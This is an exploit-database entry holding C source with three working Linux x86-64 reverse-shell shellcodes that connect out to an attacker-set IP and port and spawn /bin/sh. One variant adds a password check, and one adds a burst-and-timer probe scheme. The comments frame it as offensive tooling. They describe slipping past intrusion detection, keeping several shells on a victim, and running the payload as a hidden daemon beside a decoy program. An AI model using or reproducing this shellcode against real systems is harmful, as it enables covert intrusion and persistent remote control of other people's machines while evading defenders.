Linux/x86-64 - Subtle Probing Reverse Shell, Timer, Burst, Password, Multi-Terminal Shellcode (84, 1

2018-06-03
ID: 98219
CVE: None
Download vulnerable application: None
#include <stdio.h>
#include <string.h>
//|
//| Exploit Title: [linux x86_64 Subtle Probing Reverse Shell, Timer, Burst, Password, multi-Terminal (84, 122, 172 bytes)]
//| Date: [07/20/2016]
//| Exploit Author: [CripSlick]
//| Tested on: [Kali 2.0 Linux x86_64]
//| Version: [No program being used or exploited; I only relied syscalls]
//|
//|================================================================================================================
//|=====================  Why use Cripslick's Subtle Probing Reverse Shell??  =====================================
//|
//|     This is a very big upgrade sense my last probing reverse shell, so if you thought the last
//|     one was good for convenience, you will really like this one. The 3 main upgrades are. . .
//|
//| 1.  There is a TIMER (VERY IMPORTANT!!!)
//|     This means that you won't be flooding yourself with a thousand probes a second. This is 
//|     good because it is less CPU strain on the victim so the victim will less likly know something
//|     is up but MUCH more importantly it will more likely bypass the IDS. The last one would be 
//|     sure to pop it (have a look at it in WireShark to know what I mean).
//|
//| 2.  The byte count is lower. Upgrades such as not using Push+Pop or inc when moving one byte. 
//|
//| 3.  No Multi-Port because most of you won't be hacking your victim with multiple computers behind
//|     a NAT; this helps you because it will lower the byte count. Also note that you will still get
//|     a multi-terminal connection (every time your TIMER resets).
//|
//| 4.  You can get a burst of Z probes up front (if you are ready beforehand) and then lower it to
//|     X probes later, at intervals of Y time so you don't awaken the IDS. Now you will have many claws
//|     on the victim without waiting hours (if set that long) for your new probes (backups) to come in .
//|     (A subtle scout makes for a silent killer)
//|
//|
//|        NOTE on Daemon:  If you are using my Daemon C Skeleton, your shellcode will become a daemon
//|                         and continue to run until you kill the PIDs or restart the victim's computer.
//|                 
//|
//|     Why can't you use a timer for the bind shell and keep it to one port?
//|     The reason is because the bind shell won't loose the process if you don't connect. Because
//|     of that, you would be placing more and more processes on the victim machine until you 
//|     would DoS their system. With the reverse shell, the process dies as soon as you don't
//|     answer and that makes this an entirly different animal.
//|
//|     ps. The bind-shell indentation was skewed for exploit-db. today. For all of you coders here is
//|     what you should know. exploit-db uses the notpad++ sytel indentation. If you send them a gedit
//|     formated document your indentation will be off for your comments. 
//|     If you want a nice indented format of my multi-terminal bind shell plesae go to my website, 
//|     and thanks for looking.
//|
//|================================================================================================================
//|
//| [email protected]
//| OffSec ID: OS-20614
//| http://50.112.22.183/
//|
//| 10.1.1.4    =   "\x0a\x01\x01\x04"
    #define IPv4      "\x0a\x01\x01\x04"                  // in forward-byte-order
//|
  #define PORT      "\x15\xb5"                          // in forward-byte-order
//|
  #define PASSWORD  "\x6c\x61\x20\x63\x72\x69\x70\x73"  // in forward-byte-order
//|                 python + 'la crips'[::1].encode('hex')
//|
  #define TIMER     "\x02\x01"      //| in Reverse-Byte-Order
                    //| convert hex to integer (not hex to ascii integer)
                    //| Remmeber to comment out the TIMER sizes below that you are not using
                    //| this example byte size \x10 = 16 seconds while word size \x02\x01 ~ 4 min
//|
  #define BURST     "\x05"  //| BURST happens on the first cycle. This is how many probs you will get initially
//|             //| The BURST happens before the first long timer kicks in (the other is a set sec)
                //| If I didn't have the sec long timer (in the code) you wouldn't be able to accept
                //| all the incomming traffic and would loose probs.
//|
  #define RESET     "\x01"  //| This applised to CODE3. The idea is to use the reset to stay in control without
                //| allarming the IDS (Burst to get what you need and then soft hits thereafter)
                //| example: Burst 5, reset 2, timer 3hrs
                //| 5 probs (3hrs) 2 probs (3hrs) 2 probs (3hrs) etc. 
                //| This lets you get 5 terminals off the bat and if you loose connection you won't
                //| need to wait very long until the next backup probes come your way.
                //| This lets you connect even after your victim has the reverse shell launched
                //| The reason for the RESET is not be as aggressive as with the initial BURST.
                //| You don't want to trip any alarms, so good luck
  //|================================================================================================================
//|****************************************************************************************************************
//|================================================================================================================
    //|=====================!!!CHOSE ONLY ONE SHELLCODE!!!=========================
//| ===========================================================================
//| CODE1 Single Probe Reverse Shell & no PASSWORD (84 bytes)
//| ===========================================================================
//| I'm sure that this is not the shortest reverse shell you have seen but it 
//| will pass my, "fill all registers test." If you don't know what I mean, 
//| look below at my C code.
    unsigned char CODE1[] = //| copy CODE1 and use it below <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
  "\x48\x31\xff\x48\xf7\xe7\x48\x31\xf6\xb0\x29\x40\xb7\x02\x40\xb6\x01\x0f\x05\x48\x89"
"\xc7\x6a\x02\x66\xc7\x44\x24\x02"PORT"\xc7\x44\x24\x04"IPv4"\xb0\x2a\x48\x89\xe6\xb2"
"\x10\x0f\x05\x6a\x03\x5e\x48\xff\xce\xb0\x21\x0f\x05\x75\xf7\x48\x31\xf6\x48\xf7\xe6"
"\x56\x48\xb9\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x51\x54\x5f\xb0\x3b\x0f\x05"
;
    //|=====================!!!CHOSE ONLY ONE SHELLCODE!!!===========================
//| =============================================================================
//| CODE2 Single Probe Reverse Shell with PASSWORD (122 bytes)
//| =============================================================================
//| You may think, I know why I want a password on a bind shell but why a revrse
//| shell? The answer is because you never know who may have access to your 
//| computer. This is is mainly for safty for that and from probe theft.
    unsigned char CODE2[] = //| copy CODE2 and use it below <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
  "\x48\x31\xff\x48\xf7\xe7\x48\x31\xf6\xb0\x29\x40\xb7\x02\x40\xb6\x01\x0f\x05\x48\x89"
"\xc7\x6a\x02\x66\xc7\x44\x24\x02"PORT"\xc7\x44\x24\x04"IPv4"\xb0\x2a\x48\x89\xe6\xb2"
"\x10\x0f\x05\x6a\x03\x5e\x48\xff\xce\xb0\x21\x0f\x05\x75\xf7\x48\x89\xc7\x48\x89\xc6"
"\x48\x8d\x74\x24\xf0\x6a\x10\x5a\x0f\x05\x48\xb8"PASSWORD"\x48\x8d\x3e\x48\xaf\x74\x05"
"\x6a\x3c\x58\x0f\x05\x48\x31\xf6\x48\xf7\xe6\x56\x48\xb9\x2f\x2f\x62\x69\x6e\x2f\x73"
"\x68\x51\x54\x5f\xb0\x3b\x0f\x05"
;
    //|=====================!!!CHOSE ONLY ONE SHELLCODE!!!===========================
//| =============================================================================
//| CODE3 Subtle Probing Reverse Shell + BURST + TIMER + RESET + Pass (172 bytes)
//| =============================================================================
//| You can only use a byte, word (2 bytes) or dword (4byte) timer. It doesn't 
//| matter what you use but you must comment out what you don't use. In most 
//| cases you will use the word size going from 4 min to 18 hrs. 
//| The defaul is \x02\x01 (in reverse byte order) translate = 102 in hex
//| Thats ~ 4mins in hex (F0 = 4min exact)
    unsigned char CODE3[] = //| copy CODE3 and use it below <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
    "\x48\x31\xdb\xb3"BURST"\x48\x31\xff\x48\xf7\xe7\x48\x31\xf6\xb0\x39\x0f\x05\x40\x38"
"\xf8\x74\x77\x48\x31\xf6\x48\xf7\xe6\xb0\x29\x40\xb7\x02\x40\xb6\x01\x0f\x05\x48\x89"
"\xc7\x6a\x02\x66\xc7\x44\x24\x02"PORT"\xc7\x44\x24\x04"IPv4"\xb0\x2a\x48\x89\xe6\xb2"
"\x10\x0f\x05\x6a\x03\x5e\x48\xff\xce\xb0\x21\x0f\x05\x75\xf7\x48\x89\xc7\x48\x89\xc6"
"\x48\x8d\x74\x24\xf0\x6a\x10\x5a\x0f\x05\x48\xb8"PASSWORD"\x48\x8d\x3e\x48\xaf\x74"
"\x05\x6a\x3c\x58\x0f\x05\x48\x31\xf6\x48\xf7\xe6\x56\x48\xb9\x2f\x2f\x62\x69\x6e\x2f"
"\x73\x68\x51\x54\x5f\xb0\x3b\x0f\x05\x48\xff\xcb\x38\xc3\x74\x05\x50\x6a\x01\xeb"
    //| ATTENTION!!! COMMENT OUT THE TIMERS YOU ARE NOT GOING TO USE
//| BYTE size Timer
//  "\x05\xb3"RESET"\x50\x6a"TIMER"\x54\x5f\xb0\x23\x0f\x05\xe9\x5b\xff\xff\xff"
  //| WORD Size Timer
    "\x07\xb3"RESET"\x50\x66\x68"TIMER"\x54\x5f\xb0\x23\x0f\x05\xe9\x59\xff\xff\xff"
  //| DWORD Size Timer (It can't go above "\x77\x77\x77\x77")
//  "\x08\xb3"RESET"\x50\x68"TIMER"\x54\x5f\xb0\x23\x0f\x05\xe9\x58\xff\xff\xff
  ;
  //|================================ VOID SHELLCODE =====================================
void SHELLCODE()
{
//  This part floods the registers to make sure the shellcode will always run
    __asm__("mov $0xAAAAAAAAAAAAAAAA, %rax\n\t"
        "mov %rax, %rbx\n\t" "mov %rax, %rcx\n\t" "mov %rax, %rdx\n\t"
        "mov %rax, %rsi\n\t" "mov %rax, %rdi\n\t" "mov %rax, %rbp\n\t"
        "mov %rax, %r10\n\t" "mov %rax, %r11\n\t" "mov %rax, %r12\n\t"
        "mov %rax, %r13\n\t" "mov %rax, %r14\n\t" "mov %rax, %r15\n\t"
        "call CODE3");  //1st paste CODEX<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
}
  //|================================ VOID printBytes ====================================
void printBytes()
{
    printf("The CripSlick's code is %d Bytes Long\n",
        strlen(CODE3)); //2nd paste CODEX<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
}
    //|================================ Int main ===========================================
int main ()
{
    int pid = fork();       // fork start
    if(pid == 0){       // pid always starts at 0
          SHELLCODE();        // launch void SHELLCODE
                        // this is to represent a scenario where you bind to a good program
                        // you always want your shellcode to run first  
          }else if(pid > 0){   // pid will always be greater than 0 after the 1st process
                        // this argument will always be satisfied
          printBytes();       // launch printBYTES
                        // pretend that this is the one the victim thinks he is only using
    }
return 0;               // satisfy int main
system("exit");         // keeps our shellcode a daemon
}
1-4-2 (www01)